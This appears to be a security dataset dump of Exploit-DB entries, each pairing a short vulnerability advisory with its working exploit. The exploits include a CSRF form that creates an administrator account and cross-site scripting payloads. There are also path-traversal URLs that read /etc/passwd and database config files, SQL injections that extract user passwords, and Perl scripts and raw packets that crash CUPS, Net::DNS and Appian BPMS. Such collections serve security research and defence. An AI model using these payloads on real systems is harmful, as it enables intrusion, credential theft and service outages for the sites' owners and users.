QLWD/code_shield huggingface dataset:
标题: PHPJabbers Appointment Scheduler 2.0 - Multiple Vulnerabilities EDB-ID: 30911 CVE: 2014-10010 2014-10001 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-14 漏洞利用脚本: Appointment Scheduler V2.0 - Multiple Vulnerabilities
=========================================================================

####################################################################
.:. Author         : HackXBack
.:. Contact        : h-b@usa.com
.:. Home           : http://www.iphobos.com/blog/
.:. Script         : http://www.phpjabbers.com/appointment-scheduler/
####################################################################

===[ Exploit ]===

[1] Cross Site Scripting
=========================

# CSRF with XSS Exploit:


<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=pjAdminServices&action=pjActionCreate">
<input type="hidden" name="service_create" value="1"/>
<input type="hidden" name="i18n[1][name]"
value="<script>alert(document.cookie);</script>"/>
<input type="hidden" name="i18n[1][description]" value="Iphobos Blog"/>
<input type="hidden" name="price" value="100"/>
<input type="hidden" name="length" value="1"/>
<input type="hidden" name="before" value="1"/>
<input type="hidden" name="after" value="1"/>
<input type="hidden" name="total" value="3"/>
<input type="hidden" name="is_active" value="1"/>
</form>
</body>
</html>


[2] Cross Site Request Forgery
===============================

[Add Admin]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="
http://site/index.php?controller=pjAdminUsers&action=pjActionCreate">
<input type="hidden" name="user_create" value="1"/>
<input type="hidden" name="role_id" value="1"/>
<input type="hidden" name="email" value="Email@hotmail.com"/>
<input type="hidden" name="password" value="123456"/>
<input type="hidden" name="name" value="Iphobos"/>
<input type="hidden" name="status" value="T"/>
</form>
</body>
</html

[3] Local File disclure
========================

http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../app/config/db.inc.php
http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../../../../etc/passwd


#################################################################### URL: https://www.exploit-db.com/exploits/30911
标题: Adobe Flash Player 8.0.34.0/9.0.x - 'main.swf?baseurl' asfunction: Protocol Handler Cross-Site Scripting EDB-ID: 30905 CVE: 2007-6244 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26949/info

Adobe Flash Player is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)// URL: https://www.exploit-db.com/exploits/30905
标题: Common UNIX Printing System 1.2/1.3 SNMP - 'asn1_get_string()' Remote Buffer Overflow EDB-ID: 30898 CVE: 2007-5849 类型: DOS 平台: LINUX 发布日期: 2007-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/26917/info

Common UNIX Printing System (CUPS) is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer.

Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected software. Failed exploit attempts will likely result in denial-of-service conditions.

This issue affects CUPS 1.2 and 1.3, prior to 1.3.5; other versions may also be vulnerable.

P0C:
===
#!/usr/bin/perl
#if 0
# backend_snmp_poc.pl write by wei_wang@mcafee.com
# 2007-11-06
#
# snmp.c asn1_get_string integer overflow cups 1.3.4
#
#    packet->error = "No community name";
#  else if ((length = asn1_get_length(&bufptr, bufend)) == 0)
#    packet->error = "Community name uses indefinite length";
#  else
#  {
#    asn1_get_string(&bufptr, bufend, length, packet->community,
#                    sizeof(packet->community));
#
#    if ((packet->request_type = asn1_get_type(&bufptr, bufend))
#
#002a: 30 38  tag=0x30 len=0x38
#002c: 02 01 00                 version:1 (0)
#002f: 04 84 ff ff ff ff 69 63       community:public
#len is 0xffffffff
#endif

my $payload ="\x30\x38\x02\x01\x00\x04\x84\xff\xff\xff\xff\x41\x41";

use strict;
my $PF_INET=2;
my $SOCK_DGRAM=2;
my $port=161;
my $proto=getprotobyname('udp');
my $addres=pack('SnC4x8',$PF_INET,$port,0,0,0,0);
my ($Cmd);
socket(SOCKET,$PF_INET,$SOCK_DGRAM,$proto) or die "Can't build a socket";
bind (SOCKET,$addres);
while(1)
{
  my $rip=recv (SOCKET,$Cmd,100,0);
  send (SOCKET,$payload,0,$rip) or die "send false";
  print "$Cmd";
} URL: https://www.exploit-db.com/exploits/30898
标题: Mambo 4.6.2 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 30899 CVE: 2007-6455 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/26922/info

Mambo is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Mambo 4.6.2 is vulnerable; other versions may also be affected. 

http://localhost/mambo/http://localhost/index.php?option=com_frontpage&Itemid=>"><script>alert("XSS%20Successful")</script> http://localhost/index.php?option=>"><script>alert("XSS%20Successful")</script>&Itemid=1 URL: https://www.exploit-db.com/exploits/30899
标题: Perl Net::DNS 0.48/0.59/0.60 - DNS Response Remote Denial of Service EDB-ID: 30895 CVE: 2007-6341 类型: DOS 平台: LINUX 发布日期: 2007-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/26902/info

The Perl Net::DNS module is prone to a remote denial-of-service vulnerability because the module fails to properly handle malformed DNS responses.

Successfully exploiting this issue allows attackers to crash applications that use the affected module.

Net::DNS 0.60 is vulnerable; other versions may also be affected.

#!/usr/bin/perl
# Beyond Security(c)
# Vulnerability found by beSTORM - DNS Server module

use strict;
use IO::Socket;
my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO);
$MAXLEN = 1024;
$PORTNO = 5351;
$sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp') or die "socket: $@";
print "Awaiting UDP messages on port $PORTNO\n";

my $oldmsg = "\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61".
"\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03".
"\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79".
"\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00".
"\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62".
"\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f".
"\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03".
"\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69".
"\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e".
"\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01".
"\x00\x01\x00\x00\x00\x01\x00\x01\x41";
while ($sock->recv($newmsg, $MAXLEN)) {
 my($port, $ipaddr) = sockaddr_in($sock->peername);
 $hishost = gethostbyaddr($ipaddr, AF_INET);
 print "Client $hishost said ``$newmsg''\n";
 $sock->send($oldmsg);
 $oldmsg = "[$hishost] $newmsg";
}
die "recv: $!"; URL: https://www.exploit-db.com/exploits/30895
标题: Apache 2.2.6 (Windows) - Share PHP File Extension Mapping Information Disclosure EDB-ID: 30901 CVE: 2007-6514 类型: REMOTE 平台: WINDOWS 发布日期: 2007-12-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/26939/info

Apache is prone to an information-disclosure vulnerability.

This issue occurs because Apache fails to properly associate file extensions with the correct engines when handling specially crafted requests for files on Windows SMB shares.

Attackers can leverage this issue to view arbitrary script files as plain text. Potentially sensitive information may be present in the script code. Information harvested could aid in further attacks.

This issue affects Apache 2.2.6 when serving PHP files from a Windows SMB share; other versions may also be affected.

NOTE: This issue may also occur when handling other filename extensions that use AddType directives to associate scripts or executables (e.g. '.cgi\', '.py\', '.rb\', etc.).

http://www.example.com/winshare/info.php\ URL: https://www.exploit-db.com/exploits/30901
标题: phpRPG 0.8 - '/tmp' Directory PHPSESSID Cookie Session Hijacking EDB-ID: 30888 CVE: 2007-6470 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26884/info

phpRPG is prone to two vulnerabilities:

- An SQL-injection vulnerability
- A vulnerability that lets remote attackers gain access to sessions.

Exploiting these issues may allow an unauthorized user to steal sessions, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects phpRPG 0.8.0; other versions may also be affected. 

http://www.example.com/phpRPG-0.8.0/tmp/ URL: https://www.exploit-db.com/exploits/30888
标题: PeerCast 0.12 - HandshakeHTTP Multiple Buffer Overflow Vulnerabilities EDB-ID: 30894 CVE: 2007-6454 类型: DOS 平台: LINUX 发布日期: 2007-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/26899/info

PeerCast is prone to multiple buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied input before copying it to an insufficiently sized buffer.

Successfully exploiting these issues will allow an attacker to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will likely crash the application.

These issues affect PeerCast 0.12.17, SVN 334 and prior versions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30894.zip URL: https://www.exploit-db.com/exploits/30894
标题: Appian Business Process Management Suite 5.6 - Remote Denial of Service EDB-ID: 30896 CVE: 2007-6509 类型: DOS 平台: MULTIPLE 发布日期: 2007-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/26913/info

Appian Business Process Management Suite (BPMS) is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted packets.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying further service to legitimate users.

This issue affects Appian BPMS 5.6 SP1; other versions may be vulnerable as well.

\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x73\x61\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x31\x35\x39\x36\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x04\x03\x01\x06\x0a\x09\x01\x01\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x73\x61\x69\x6e\x74\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x05\x73\x61\x69\x6e\x74\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x0a\x05\x00\x00\x00\x43\x54\x2d\x4c\x69\x62\x72\x61\x72\x79
\x0a\x05\x00\x00\x00\x00\x0d\x11\x00\x73\x5f\x65\x6e\x67\x6c\x69
\x73\x68\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x02\x01\x00\x61\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x69\x73\x6f
\x5f\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x35\x31\x32
\x00\x00\x00\x03\x00\x00\x00\x00\xe2\x16\x00\x01\x09\x06\x08\x33
\x6d\x7f\xff\xff\xff\xfe\x02\x09\x00\x00\x00\x00\x0a\x68\x00\x00
\x00 URL: https://www.exploit-db.com/exploits/30896
标题: phPay 2.2.1 - Windows Installations Local File Inclusion EDB-ID: 30887 CVE: 2007-6471 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/26881/info

phPay is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. The vulnerability resides in code that was intended to protect against file-include attacks. It was found that the protection routines may be bypassed on Windows installations.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts. 

http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\\..\\admin\\.htaccess

The following example was provided in cases where the PHP 'magic_quotes_gpc' directive is enabled:

http://www.example.com/phpayv2.02a/main.php?config=eregi.inc.php\..\admin\.htaccess URL: https://www.exploit-db.com/exploits/30887
标题: Bitweaver 1.x/2.0 - 'search/index.php' Cross-Site Scripting EDB-ID: 30879 CVE: 2007-6374 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26801/info
 
Bitweaver is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input including multiple cross-site scripting vulnerabilities, multiple HTML-injection vulnerabilities, and an SQL-injection vulnerability.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.
 
Bitweaver 2.0.0 and prior versions are vulnerable to these issues.

http://www.example.com/search/index.php/XSS URL: https://www.exploit-db.com/exploits/30879
标题: Bitweaver 1.x/2.0 - 'users/register.php' Cross-Site Scripting EDB-ID: 30878 CVE: 2007-6374 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26801/info

Bitweaver is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input including multiple cross-site scripting vulnerabilities, multiple HTML-injection vulnerabilities, and an SQL-injection vulnerability.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.

Bitweaver 2.0.0 and prior versions are vulnerable to these issues.


http://www.example.com/users/register.php/XSS URL: https://www.exploit-db.com/exploits/30878
标题: Thomson SpeedTouch 716 - 'URL' Cross-Site Scripting EDB-ID: 30882 CVE: 2007-6003 类型: REMOTE 平台: HARDWARE 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26808/info

Thomson SpeedTouch 716 is prone to a cross-site scripting vulnerability because the device fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Thomson SpeedTouch 716 firmware 6.2.17.50 and 5.4.0.14; other versions may also be affected. 

http://www.example.com/cgi/b/ic/connect/?nm=1&client=192.168.1.72&server=&event=ServerTimeout&url=<script>alert('bla');</script> URL: https://www.exploit-db.com/exploits/30882
标题: PHP-Nuke 8.0 - 'autohtml.php' Local File Inclusion EDB-ID: 30881 CVE: 2007-6376 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26807/info

Dance Music is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. 

http://www.example.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/30881
标题: E-Xoops 1.0.5/1.0.8 - '/modules/banners/click.php?bid' SQL Injection EDB-ID: 30874 CVE: 2007-6380 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26796/info
     
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
     
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
http://www.example.com/e-xoops/modules/banners/click.php?bid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30874
标题: E-Xoops 1.0.5/1.0.8 - '/myalbum/ratephoto.php?lid' SQL Injection EDB-ID: 30873 CVE: 2007-6380 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26796/info
    
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
    
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
http://www.example.com/e-xoops/modules/myalbum/ratephoto.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30873
标题: DomPHP 0.83 - SQL Injection EDB-ID: 30872 CVE: 2014-10038 类型: WEBAPPS 平台: PHP 发布日期: 2014-01-13 漏洞利用脚本: -------------------------------------------------------------
DomPHP <= v0.83 SQL Injection Vulnerability 
-------------------------------------------------------------
 
= Author : Houssamix                       
= Script : DomPHP <= v0.83
                    
= Download : http://www.domphp.com/download/  
            
= BUG :  SQL Injection Vulnerability 
 
= DORK : Site créé à l'aide du CMS DomPHP v0.83 
 
= Exploit :                               
http://[target]/agenda/indexdate.php?ids=77 [SQL]
                 
Exemple :      

http://site.com/domphp/agenda/indexdate.php?ids=77 UNION SELECT 1,2,3,loginUtilisateur,5,6,passUtilisateur,8,9,10,11,12,13,14,15 from domphp_utilisateurs-- URL: https://www.exploit-db.com/exploits/30872
标题: E-Xoops 1.0.5/1.0.8 - '/modules/arcade/index.php?gid' SQL Injection EDB-ID: 30875 CVE: 2007-6380 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26796/info
      
E-Xoops is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
      
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
http://www.example.com/e-xoops/modules/arcade/index.php?act=show_stats&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 
http://www.example.com/e-xoops/modules/arcade/index.php?act=play_game&gid=-1%20UNION%20SELECT%20pass%20FROM%20e_xoops_users%20LIMIT%201 URL: https://www.exploit-db.com/exploits/30875
标题: Bitweaver 1.x/2.0 - '/search/index.php?highlight' SQL Injection EDB-ID: 30880 CVE: 2007-6375 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26801/info
  
Bitweaver is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input including multiple cross-site scripting vulnerabilities, multiple HTML-injection vulnerabilities, and an SQL-injection vulnerability.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or exploit vulnerabilities in the underlying database. Other attacks are also possible.
  
Bitweaver 2.0.0 and prior versions are vulnerable to these issues.

http://www.example.com/search/index.php?tk=316dccdfb62a3cad613e&highlight=[SQL_INJECTION]=&search=go URL: https://www.exploit-db.com/exploits/30880
标题: Roundcube Webmail 0.1 - CSS Expression Input Validation EDB-ID: 30877 CVE: 2007-6321 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/26800/info

Roundcube Webmail is prone to an input-validation vulnerability because it fails to sanitize HTML email messages.

Attackers can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user. Successful attacks can allow attackers to steal cookie-based authentication credentials from legitimate users of the site; other attacks are also possible.

Roundcube Webmail 0.1rc2 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30877.eml URL: https://www.exploit-db.com/exploits/30877
标题: MKPortal 1.1 Gallery Module - SQL Injection EDB-ID: 30886 CVE: 2007-6467 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/26860/info

MKPortal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

This issue affects MKPortal M1.1 RC1; other versions may also be vulnerable. 

http://www.example.com/index.php?ind=gallery&op=foto_show&ida=(sql) URL: https://www.exploit-db.com/exploits/30886
标题: OpenNewsletter 2.5 - 'Compose.php' Cross-Site Scripting EDB-ID: 30853 CVE: 2007-6301 类型: WEBAPPS 平台: PHP 发布日期: 2007-12-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/26745/info

OpenNewsletter is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenNewsletter 2.5 is vulnerable; other versions may also be affected. 

http://www.example.com/path/to/opennewsletter/compose.php?type=html'%3Ch1%3EXSS!%3C/h1%3E http://www.example.com/path/to/opennewsletter/compose.php?type=';%3CSCRIPT%3Ealert(String.fromCharCode(88,%2083,%2083,%2032,%2058,%2040))//\';%3C/script%3E URL: https://www.exploit-db.com/exploits/30853